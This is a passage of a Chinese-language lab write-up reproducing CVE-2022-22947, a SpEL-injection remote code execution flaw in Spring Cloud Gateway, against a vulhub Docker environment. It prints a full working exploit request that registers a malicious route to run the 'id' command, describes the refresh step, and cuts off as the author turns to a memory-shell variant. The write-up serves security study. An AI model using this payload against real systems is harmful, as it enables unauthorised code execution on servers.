申明
免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!
一:背景
之前打攻防的时候,内网遇到了Spring Cloud gateway,照着网上的代码,一下午就是搞不定,当时由于时间紧,就放弃了(实际上是自己菜),现在闲下来, 用一下午时间把三种方式都复现成功了。这里记录下过程及坑点
二:过程
首先漏洞环境就是用的vulhub上面的 docker,连接在下面
https://vulhub.org/#/environments/spring/CVE-2022-22947/
docker启动后访问页面如下
先来按照vulhub的payload 打一遍试试
首先注册一个路由,这个路由的值,用SpEL表达式执行代码
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.27.250.78:8080
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
添加路由成功后,服务器返回201
此时路由还未生效,我们需要刷新下路由
刷新完路由,查看下路由列表,发现代码已经执行了
最后我们删除这条路由
这样就算是完成了一次利用,每次执行命令都要注册路由,刷新路由,很是麻烦,下面根据网上的大佬们改造
1:首先当然是c0ny1的netty内存马
具体请看如下链接
Spring cloud gateway通过SPEL注入内存马 | 回忆飘如雪
我本地是起了一个springboot的maven项目好引入相关依赖,主要是下面这两个包